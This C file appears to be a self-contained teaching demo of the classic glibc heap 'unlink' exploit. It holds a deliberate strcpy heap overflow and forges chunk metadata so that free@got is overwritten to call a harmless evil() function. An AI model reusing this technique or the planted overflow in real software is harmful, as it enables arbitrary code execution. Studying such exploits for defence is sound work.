#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define NBINS 128
#define BINMAPSHIFT      5
#define BITSPERMAP       (1U << BINMAPSHIFT)
#define BINMAPSIZE       (NBINS / BITSPERMAP)


#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

#define in_smallbin_range(sz)  \
  ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

#ifndef offsetof
# define offsetof(type,ident) ((size_t)&(((type*)0)->ident))
#endif


#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif

#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))


/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1

/* extract inuse bit of previous chunk */
#define prev_inuse(p)       ((p)->mchunk_size & PREV_INUSE)


/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
 *    from a non-main arena.  This is only set immediately before handing
 *       the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4

#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)->mchunk_size)

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  //struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  //struct malloc_chunk* bk_nextsize;
};
  
typedef struct malloc_chunk* mchunkptr;

#define PRINT_META_CONTAIN_BKFD(p) printf("p = %p, mem = %p, p->mchunk_prev_size = %x, p->mchunk_size = %x, p->fd = %p, p->bk = %p, prev_inuse = %d\n",\
				p, ((char*)p + 2*SIZE_SZ), p->mchunk_prev_size,\
				chunksize(p), p->fd, p->bk, prev_inuse(p)) 

#define PRINT_META(p) printf("p = %p, mem = %p, p->mchunk_prev_size = %x, p->mchunk_size = %x, prev_inuse = %d\n",\
				p, ((char*)p + 2*SIZE_SZ), p->mchunk_prev_size,\
				chunksize(p), prev_inuse(p)) 
#define PRINT_LINE()	printf("\n")

void evil() {
	printf("you are hacked!\n");
}

int main(int argc, char** argv) {

        void* ptr1, *ptr2, *ptr3;
        ptr1 = malloc(0x80); //  > fastbin 
        ptr2 = malloc(0x10); // consolidate forward 
        ptr3 = malloc(0x10); // nnextchun 

	if(argc != 1)
		strcpy((char*)ptr1, argv[1]); // heap overflow

	////////////////////////////EXP/////////////////////////////////////////// 
	printf("evil = %x\n", evil);
	void* free_got = 0x804996c;// free got ,readelf 
	mchunkptr p1 = (mchunkptr) ((char*)ptr1 - 2*SIZE_SZ);
      	mchunkptr p2 = (mchunkptr) ((char*)ptr2 - 2*SIZE_SZ);
      	mchunkptr p3 = (mchunkptr) ((char*)ptr3 - 2*SIZE_SZ);

	p3->mchunk_size &= ~PREV_INUSE;
	
	size_t* ptr = (size_t*)((char*)free_got + 12);
	printf("ptr = %x\n", ptr);
	
	p2->mchunk_prev_size = 0x88;
	p2->fd = (mchunkptr) ((char*)ptr - 3*SIZE_SZ); // FD; free@got - 12
	p2->bk = (mchunkptr) ((char*)ptr - 2*SIZE_SZ); // BK
	PRINT_META_CONTAIN_BKFD(p2);
	*((size_t*)ptr) = p2;
	// after free *p2 = p2 - 12, modify p2[][] eq modify *(p2 -12) 
	// we make p2 = free@got + 12
	free(ptr1);
	// now we change ptr[] as changing free@got
	printf("ptr = %x\n", *ptr);
	size_t* p = (size_t*)*ptr;
	*p = evil; // we don't change free@got directly
	printf("free_got = %x\n", *(size_t*)free_got);
	/////////////////////////////////////////////////////////////////////////
	//free = evil;
	free(ptr2);// exec evil	
	return 0;	
}
